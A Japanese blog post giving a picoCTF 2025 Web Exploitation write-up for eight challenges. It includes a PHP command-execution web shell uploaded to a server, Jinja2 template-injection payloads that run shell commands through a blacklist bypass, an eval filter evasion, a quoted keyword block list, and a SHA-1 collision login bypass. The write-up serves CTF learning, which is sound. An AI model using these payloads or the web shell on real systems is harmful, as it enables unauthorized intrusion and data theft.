7
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF2025 writeup (Web Exploitation)

Last updated at Posted at 2025-03-18

はじめに

Works Human Intelligenceでエンジニアをしている kotenpan です。
picoCTF2025にWHIの有志でチーム参加しました。最終的に3810ポイントを獲得し、570位/10460チームという結果になりました。去年の年末からCTFに取り組み始めた初心者ですが、初心者ながらもかなり健闘できたのではないかと思います。CTFたのし~^^

復習もかねてpicoCTF2025のwriteupを書いていきます。人生で初めてwriteupを書くので、CTFつよつよお兄さんお姉さんの方々は温かい目で見守ってくださると幸いです。
量が多すぎると自分のやる気が低下してしまうので、この記事ではWeb Exploitationに絞って書きます。

Cryptography / Reverse Engineering / Binary Exploitation はこちら

image.png
image.png

解けた問題

[Easy] Cookie Monster Secret Recipe - 50pts

問題

ログインできたら秘密のレシピを教えてくれるかも...

image.png

いろいろいじっている中で検証ツール内のCookieを確認したらsecret_recipeの値にcGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0U2MzRERkJCfQ%3D%3Dが入っていた。
base64でデコードしたらフラグが出てきた。

picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB}

[Easy] head-dump - 50pts

問題

すごく凝ったUIだ、、、ちなみにJohn Doeは日本語で言う名無しの権兵衛的な名前。

image.png

ブログWebサイトの中からフラグを見つけ出す問題。問題文で「秘密のフラグが隠されているサーバーのメモリを保持するファイルを生成するエンドポイントを見つけることが目標です」と書いている。かなり丁寧。

image.png

いろいろリンクを押してると API Documentation のページが開かれ、/hexdump エンドポイントの存在が判明する。 heapsnapshotファイルをダウンロードして手元で strings heapdump-1742292586061.heapsnapshot | grep "picoCTF{" を実行したらフラグが出てきた。

picoCTF{Pat!3nt_15_Th3_K3y_46022a05}

[Easy] n0s4n1ty 1 - 100pts

問題

お兄さんがファイルをアップロードして欲しそうにこちらを見ている。

image.png

熱い眼差しを感じたので、外部からコマンドが実行できるようなPHPを用意してアップロードする。

a.php
<?php
if (isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    system($cmd);
}
?>

The file a.php has been uploaded Path: uploads/a.php と表示される。
これでhttp://{host}:{port}/uploads/a.php?cmd=sudo ls /rootのように好きなコマンドを実行できるようになる。flagは/root/flag.txtにあるのでcatすれば勝ち。

picoCTF{wh47_c4n_u_d0_wPHP_80eedb7d}

[Easy] SSTI1 - 100pts

問題
Server-Side Template Injectionに関する問題

好きな文字を入れるとめちゃ大々的にアナウンスしてくれるらしい。
image.png
image.png

{{ 2*2 }} を入れて実行すると 4 が出力されるので、テンプレートエンジンはJinja2であることが分かる。 SSTIについてよく知らなかったので調べてみると、CTFのWebセキュリティにおけるSSTIまとめ というサイトを見つけ参考にした。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -l').read()}}でRCEしたら同じ階層にflagという名前のファイルが見つかったので、コマンドをcat flagに変えてRCEするとフラグ獲得できた。

picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_eb0c6390}

[Medium] SSTI2 - 200pts

問題

SSTI1と同じ問題だが、この問題は許可されていないワードが入力されると弾かれてしまう(ブラックリスト形式)。悪いことすると怒られちゃう >:(

image.png

参考:https://me-ankeet.medium.com/ctf-write-up-my-first-blog-tuctf-2023-ssti-sandbox-bypass-ee64b84c7104

os.popen() __import__('os') request を呼び出せなさそうなので、subprocess.Popen を使う事を目標に準備を進める。
Pythonのメソッド順序解決 (Method Resolution Order, MRO)「多重継承したクラスのメソッドが呼び出されるときに、どのメソッドがどういう順番で呼びだされるかが決められている」というものを利用。
{{().__class__.__base__.__subclasses__()}} で利用可能なクラスのリストを出力させ、subprocess.Popen のindexを特定すると、{{().__class__.__base__.__subclasses__().__getitem__(index番号) }} のようにリストのindex経由でsubprocess.Popenを呼び出せるようになる。

利用可能なクラスのリストを取得するペイロードはこれ:{{()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()}}
手元でPythonのコードを書いて subprocess.Popen のindexが356であることを確認。これを利用して cat flag を実行しようとすると、ペイロードは {{().__class__.__base__.__subclasses__().__getitem__(356)('cat flag',shell=True,stdout=-1).communicate()}} になる。(flagが同じ階層にあるというのはSSTI1と同じ構造だと仮定している)
あとはブラックリストを回避するようペイロードを複雑化させると、{{()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()|attr('\x5f\x5f\x67etitem\x5f\x5f')(356)('cat flag',shell=True,stdout=-1)|attr('communicate')()}} でフラグ獲得。

picoCTF{sst1_f1lt3r_byp4ss_eb2a60e7}

[Medium] 3v@l - 200pts

問題

eval を使って計算してるらしい。脆弱~~

image.png

でも許されざるキーワードがいくつか存在するみたい。

Secure python_flask eval execution by 
    1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
    2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'

image.png

open(/flag.txt).read() をかましちゃえば勝ち。open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read() でフラグ獲得。

picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2}

[Medium] Apriti sesamo - 200pts

問題

イタリア語で「開けゴマ」らしい。ログイン画面で煽られる。

image.png

「噂によると開発者はemacsユーザーらしい」というヒントから、emacsがバッグアップファイルを残している可能性がある。最後にチルダをつけた http://{host}:{port}/impossibleLogin.php~ にアクセスすると、ソースにPHPが出現する。

<?php
 if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>

このPHPを読み解くとログイン成功となる条件が分かる

  • usernameのSHA1ハッシュ値とpasswordのSHA1ハッシュ値が同じだった場合にログインできる
  • ただしusernameとpasswordは同じにしてはいけない

SHA1が衝突するようなものを探してみたら、こんなサイトが。
messageAとmessageBをバイナリ化してpostbodyを作ってPOSTしたらフラグゲット。

postbody.txt
username=%99%04%0D%04%7F%E8%17%80%01%20%00%FFKey%20is%20part%20of%20a%20collision%21%20It%27s%20a%20trap%21y%C6%1A%F0%AF%CC%05E%15%D9%27Ns%07bK%1D%C7%FB%23%98%8B%B8%DE%8BW%5D%BA%7B%9E%AB1%C1gKm%97Cx%A8%27s%2F%F5%85%1Cv%A2%E6%07r%B5%A4%7C%E1%EA%C4%0B%B9%93%C1-%8Cp%E2JO%8D_%CD%ED%C1%B3%2C%9C%F1%9E1%AF%24%29u%9DB%E4%DF%DB1q%9FXv%23%EEU%299%B6%DC%DCE%9F%CASU%3Bp%F8~%DE0%A2G%EA%3A%F6%C7Y%A2%F2%0B2%0Dv%0D%B6O%F4y%08O%D3%CC%B3%CD%D4%83b%D9j%9CC%06%17%CA%FFl6%C67%E5%3F%DE%28A%7Fbo%ECT%EDyC%A4n_W0%F2%BB8%FB%1D%F6%E0%09%00%10%D0%0E%24%ADx%BF%92d%19%93%60%8E%8D%15%8Ax%9F4%C4o%E1%E6%02%7F5%A4%CB%FB%82pv%C5%0E%CA%0E%8B%7C%CAi%BB%2C%2By%02Y%F9%BF%95p%DD%8DD7%A3%11_%AF%F7%C3%CA%C0%9A%D2Rf%05%5C%27%10GU%17%8E%AE%FF%82Z%2C%AA%2A%CF%B5%DEd%CEvA%DCY%A5A%A9%FC%9CugV%E2%E2%3D%C7%13%C8%C2L%97%90%AAk%0E8%A7%F5_%14E%2A%1C%A2%85%0D%DD%95b%FD%9A%18%ADBIj%A9p%08%F7Fr%F6%8E%F4a%EB%88%B0%993%D6%26%B4%F9%18t%9C%C0%27%FD%DDlB_%C4%21h5%D0%13M%15%28%5B%AB%2C%B7%84%A4%F7%CB%B4%FBQMK%F0%F6%23%7C%F0%0A%9E%9F%13%2B%9A%06no%D1%7FlB%98txXo%F6Q%AF%96t%7F%B4%26%B9%87%2B%9A%88%E4%06%3FY%BB3L%C0%06P%F8%3A%80%C4%27Q%B7%19t%D3%00%FC%28%19%A2%E8%F1%E3%2C%1BQ%CB%18%E6%BF%C4%DB%9B%AE%F6u%D4%AA%F5%B1WJ%04%7F%8Fm%D2%EC%15%3A%93A%22%93%97M%92%8F%88%CE%D96%3C%FE%F9%7C%E2%E7B%BF4%C9k%8E%F3%87Vv%FE%A5%CC%A8%E5%F7%DE%A0%BA%B2A%3DM%E0%0E%E7%1E%E0%1F%16%2B%DBm%1E%AF%D9%25%E6%AE%BA%AEj5N%F1%7C%F2%05%A4%04%FB%DB%12%FCEMA%FD%D9%5C%F2E%96d%A2%AD%03-%1D%A6%0As%26%40u%D7%F1%E0%D6%C1%40%3A%E7%A0%D8a%DF%3F%E5pq%88%DD%5E%07%D1X%9B%9F%8Bf0U%3F%8F%C3R%B3%E0%C2%7D%A8%0B%DD%BALd%02%0D&pwd=%99%03%0D%04%7F%E8%17%80%01%18%00%FFPractical%20SHA-1%20chosen-prefix%20collision%21%1D%27lk%A6a%E1%04%0E%1F%7Dv%7F%07bI%DD%C7%FB3%2C%8B%B8%C2%B7W%5D%BE%C7%9E%AB%2B%E1gK%7D%B3Cx%B4%CBs%2F%E1%89%1Cv%A0%26%07r%A5%10%7C%E1%F6%E8%0B%B9%97%7D-%8ChRJO%9D_%CD%ED%CD%0B%2C%9C%E1%921%AF%26%E9u%9DRP%DF%DB-M%9FXr%9F%EEU3%19%B6%DC%CCa%9F%CAO%B9%3Bp%ECr%DE0%A0%87%EA%3A%E6sY%A2%EE%272%0Dr%B1%B6O%EC%C9%08O%C3%CC%B3%CD%D8%3Bb%D9z%90C%06%15%0A%FFl%26r7%E5%23%E2%28A%7B%DEo%ECN%CDyC%B4J_W%2C%1E%BB8%EF%11%F6%E0%0B%C0%10%D0%1E%90%ADx%A3%BEd%19%97%DC%8E%8D%0D%3Ax%9F%24%C4o%E1%EA%BA%7F5%B4%C7%FB%82r%B6%C5%0E%DA%BA%8B%7C%D6U%BB%2C%2F%C5%02Y%E3%9F%95p%CD%A9D7%BF%FD_%AF%E3%CF%CA%C0%98%12Rf%15%E8%27%10%5By%17%8E%AAC%82Z4%1A%2A%CF%A5%DEd%CEz%F9%DCY%B5M%A9%FC%9E%B5gV%F2V%3D%C7%0F%F4%C2L%93%2C%AAk%14%18%A7%F5O0E%2A%00N%85%0D%C9%99b%FD%98%D8%ADBY%DE%A9p%14%DBFr%F22%F4a%F38%B0%99%23%D6%26%B4%F5%A0t%9C%D0%2B%FD%DDn%82_%C41%DC5%D0%0Fq%15%28_%17%2C%B7%9E%84%F7%CB%A4%DFQMW%1C%F6%23h%FC%0A%9E%9D%D3%2B%9A%16%DAo%D1c%40B%98p%C4Xo%EE%E1%AF%96d%7F%B4%26%B5%3F%2B%9A%98%E8%06%3F%5B%7B3L%D0%B2P%F8%26%BC%C4%27U%0B%19t%C9%20%FC%28%09%86%E8%F1%FF%C0%1BQ%DF%14%E6%BF%C6%1B%9B%AE%E6%C1%D4%AA%E9%9DWJ%00%C3%8Fm%CA%5C%15%3A%83A%22%93%9B%F5%92%8F%98%C2%D96%3E%3E%F9%7C%F2SB%BF%28%F5k%8E%F7%3BVv%E4%85%CC%A8%F5%D3%DE%A0%A6%5EA%3DY%EC%0E%E7%1C%20%1F%16%3Bom%1E%B3%F5%25%E6%AA%06%AEj-%FE%F1%7C%E2%05%A4%04%F7c%12%FCUAA%FD%DB%9C%F2E%86%D0%A2%AD%1F%11%1D%A6%0E%CF%26%40o%F7%F1%E0%C6%E5%40%3A%FBL%D8a%CB3%E5psH%DD%5E%17eX%9B%83%A7f0Q%83%8F%C3J%03%E0%C2m%A8%0B%DD%B6%F4d%02%1D
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-binary @postbody.txt http://verbal-sleep.picoctf.net:50765/impossibleLogin.php

picoCTF{w3Ll_d3sErV3d_Ch4mp_2d9f3447}

[Medium] Pachinko - 200pts

問題

NANDシミュレータサイト。何度でも試せる。NANDだけに。

image.png

4ビットの入力をすべて反転する回路をNANDゲートのみで実装できればFLAGがゲットできるみたい。
curlで組み立てたjsonをPOSTしたらフラグが帰ってきた。

curl -X POST "http://{host}:{port}/check" \
    -H "Content-Type: application/json" \
    -d '{
    "circuit": [
        { "input1": 5, "input2": 5, "output": 1 },
        { "input1": 6, "input2": 6, "output": 2 },
        { "input1": 7, "input2": 7, "output": 3 },
        { "input1": 8, "input2": 8, "output": 4 }
    ]}'

{"status":"success","flag":"picoCTF{p4ch1nk0_f146_0n3_e947b9d7}\n"}

7
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?